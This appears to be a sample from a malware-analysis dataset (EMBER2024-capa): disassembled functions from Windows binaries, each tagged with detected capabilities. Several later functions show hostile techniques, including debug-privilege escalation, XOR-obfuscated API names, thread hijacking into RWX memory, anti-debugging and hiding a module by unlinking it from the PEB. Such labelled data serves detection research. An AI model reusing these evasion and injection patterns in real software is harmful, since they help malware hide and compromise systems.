joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45febc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x460067
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x460048
mov dl, 1
mov eax, dword [0x412f64]
call fcn.00403f28
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404da0
lea eax, [ebp - 0x114]
push eax
push pe_nt_image_headers32
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x460037
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00452914
test al, al
je 0x46002a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x460078
lea eax, [ebp - 0x254]
call fcn.00409c00
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x46002a
xor eax, eax
push ebp
push 0x460023
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x100
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4600b0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46000c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00405010
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x46000c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00405010
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46002a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45ff2d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.0041740c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46006e
lea eax, [ebp - 0x260]
call fcn.00404da0
ret

Function at 0x4609e0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x496584]
cmp byte [eax + 0xad], 0
jne 0x460a51
cmp dword [0x49659c], 0
jne 0x460a12
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x46099c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x49659c], eax
cmp dword [0x496598], 0
jne 0x460a2d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x496598], eax
cmp dword [0x4965a0], 0
jne 0x460a51
push esp
push 0
push 0
push 0x460940
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4965a0], eax
pop edx
ret
Function at 0x460c54
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x460c6b
add esp, 0xfffffff0
call fcn.0040427c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041b50c
mov eax, dword [0x492ab0]
cmp word [eax + 2], 0
jne 0x460c93
mov eax, dword [0x492ab0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00462704
mov eax, dword [0x492b80]
cmp word [eax + 2], 0
jne 0x460cad
mov eax, dword [0x492b80]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00462910
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4129b4]
call fcn.00403f28
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4129b4]
call fcn.00403f28
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x4129b4]
call fcn.00403f28
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x41fd00]
call fcn.00427be0
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x460e64
mov eax, dword [0x4929c0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00427fb4
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x462fe0
push 0x100
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4929c0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d448
test eax, eax
je 0x460db4
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004095a4
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d47c
test eax, eax
je 0x460dc8
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, 0x100
call fcn.00405010
mov byte [ebx + 0xd4], 0
push ebx
push 0x462264
call fcn.0041c69c
mov dword [ebx + 0xc8], eax
mov eax, dword [0x492880]
cmp byte [eax], 0
jne 0x460e19
mov eax, ebx
call fcn.00460fa8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.004631bc
mov eax, ebx
call fcn.00463d1c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x460e59
call fcn.004042d4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x461228
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x496584]
cmp dword [eax + 0x30], 0
je 0x4612d2
cmp dword [ebx + 0x94], 0
jne 0x4612cc
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4611b8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4612cc
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x461292
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4612cc
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414eec
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4612a1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x461fec
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x462021
push 0x100
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404e90
jmp 0x46202e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404df4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4633a0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46340e
mov eax, esi
call fcn.0044d568
test al, al
je 0x46340e
mov eax, dword [ebx + 0x84]
call fcn.0044d1c8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46340e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x463402
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044d1c8
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.004454cc
jmp 0x46340e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004631dc
pop esi
pop ebx
ret
Function at 0x467bd0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405264
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
setne al
pop ebx
ret

Function at 0x479858
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x479886
mov eax, ebx
call fcn.0047a30c
cmp dword [ebx + 0x40], 0
je 0x47987f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4798f7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4798e9
cmp dword [ebx + 8], 0
je 0x4798a8
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4798ba
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4798e9
cmp dword [ebx + 8], 0
je 0x47989b
cmp eax, 3
je 0x4798cd
dec eax
jne 0x47989b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x47989b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x47989b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x479915
cmp dword [ebx + 0x14], 0xcc
je 0x479915
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00479920
pop ebx
ret

Function at 0x48be70
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00405254
mov eax, dword [ebp - 8]
call fcn.00405254
mov eax, dword [ebp + 8]
call fcn.00405254
xor eax, eax
push ebp
push 0x48bf12
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405264
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [ebp + 8]
test eax, eax
je 0x48bec4
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
push ebx
lea eax, [ebp + 8]
call fcn.004052bc
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00405264
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48bf19
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404dc4
lea eax, [ebp + 8]
call fcn.00404da0
ret
Function at 0x48c034
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x48c0cd
push dword fs:[eax]
mov dword fs:[eax], esp
nop
nop
mov esi, 0x17
mov ebx, 0x4927fc
nop
nop
push 0xffffffffffffffff
push dword [ebx]
push 0x48c0e4
lea edx, [ebp - 0xc]
xor eax, eax
call fcn.004030dc
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.0040941c
push dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00405124
mov eax, dword [ebp - 4]
call fcn.00405264
push eax
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.004030dc
mov eax, dword [ebp - 0x10]
call fcn.00405264
push eax
call sub.kernel32.dll_CopyFileA
add ebx, 4
dec esi
jne 0x48c05b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c0d4
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404dc4
ret

Function at 0x48c2f8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00405254
mov eax, dword [ebp - 8]
call fcn.00405254
xor eax, eax
push ebp
push 0x48c41a
push dword fs:[eax]
mov dword fs:[eax], esp
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 4]
test eax, eax
je 0x48c33d
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x48c34c
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
jle 0x48c35d
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, edi
mov edx, dword [ebp - 0x10]
call fcn.004054ec
mov esi, dword [ebp - 0x14]
test esi, esi
jle 0x48c394
mov ebx, 1
mov eax, edi
call fcn.004052bc
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
mov ecx, dword [ebp - 8]
movzx ecx, byte [ecx + ebx - 1]
xor dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x48c373
cmp byte [ebp - 9], 0
je 0x48c3ce
mov ebx, dword [ebp - 0x14]
inc ebx
mov esi, dword [ebp - 0x10]
sub esi, ebx
jl 0x48c3ff
inc esi
mov eax, edi
call fcn.004052bc
mov edx, ebx
sub edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + edx - 1]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx - 1]
xor dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x48c3a6
jmp 0x48c3ff
mov ebx, dword [ebp - 0x14]
inc ebx
mov esi, dword [ebp - 0x10]
sub esi, ebx
jl 0x48c3ff
inc esi
mov eax, edi
call fcn.004052bc
mov edx, ebx
sub edx, dword [ebp - 0x14]
mov ecx, dword [edi]
movzx edx, byte [ecx + edx - 1]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx - 1]
xor dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x48c3da
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c421
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404dc4
ret
Function at 0x48c8c4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
mov ebx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ebp - 0x105]
push edx
push 0
push 0
push eax
push 0
call sub.SHFolder.dll_SHGetFolderPathA
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x48c915
mov eax, ebx
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00405010
jmp 0x48c91c
mov eax, ebx
call fcn.00404da0
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001750
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10036428
push 0x10010ff0
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x10039040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x100017e5
xor al, al
jmp 0x1000186e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001810
xor al, al
jmp 0x1000186e
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x1000185b
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000f995
mov esp, ebp
pop ebp
ret

Function at 0x100049f0
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.1000ab80
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10004540
push 0
push 0
mov dword [0x1003def0], eax
mov dword [0x1003def4], edx
mov dword [0x1003def8], eax
mov dword [0x1003defc], edx
call esi
mov ebx, eax
test ebx, ebx
je 0x10004a68
push 0
push 0
push 0
push 0x100047e0
push 0
push 0
call esi
mov edi, eax
test edi, edi
je 0x10004a68
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x64
push ebx
call esi
push 0x64
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
ret
push 1
call fcn.10016ff5
int3
Function at 0x1000ab80
Capabilities:
Acquire debug privileges
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x10039040]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
call esi
test eax, eax
jne 0x1000aba4
call esi
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000ac7c
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0x28
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000ac7c
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeSecurityPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000ac7c
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000ac7c
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000ac7c
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000ac7c
push dword [esp + 0x20]
call esi
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000ad16
movaps xmm0, xmmword [0x10034b10]
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov word [esp + 0x1c], 0x64
nop dword [eax]
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x10
jb 0x1000acb0
lea eax, [esp + 0x24]
mov byte [esp + 0x1d], 0
push eax
lea eax, [esp + 0x11]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000ad10
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0x10
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x34]
mov dword [esp + 0x44], 1
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x20]
call esi
call fcn.1000ae00
mov dword [0x1003dfb4], eax
test eax, eax
je 0x1000ad2b
mov ecx, eax
call fcn.1000aff0
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.1000f995
mov esp, ebp
pop ebp
ret
Function at 0x1000ae00
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10039040]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x47
mov dword [ebp - 0x2f8], 0x2b331547
mov dword [ebp - 0x2f4], 0x2326280b
xor eax, eax
mov dword [ebp - 0x2f0], 0x2e353314
mov word [ebp - 0x2ec], 0x2029
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1000ae5a
mov cl, byte [ebp - 0x2f8]
jmp 0x1000ae45
push ebx
mov byte [ebp - 0x2e8], 1
mov al, 0x6f
xor al, byte [ebp - 0x2e8]
mov bl, 0x6d
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x65
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x75
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x2f
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x1000afd2
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000afd2
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.10011920
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000afd2
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000afd2
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000afd2
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001890
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000afd2
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f995
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f995
mov esp, ebp
pop ebp
ret
Function at 0x1000aff0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x52
mov al, 0x3c
xor al, byte [ebp - 0x10]
mov bl, 0x3e
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x36
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x26
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x7c
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x1000b0c3
movaps xmm0, xmmword [0x10034b20]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x7a605c66
mov dword [ebp - 0x14], 0x6c696d
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1000b080
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000b0c3
test esi, esi
jne 0x1000b0ae
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b0d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000b10e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b112
cmp edx, esi
jne 0x1000b0f7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000b132
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b136
cmp edx, esi
jne 0x1000b11b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000b156
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b15a
cmp edx, esi
jne 0x1000b13f
popfd
popal
pop edi
pop esi
pop ebx
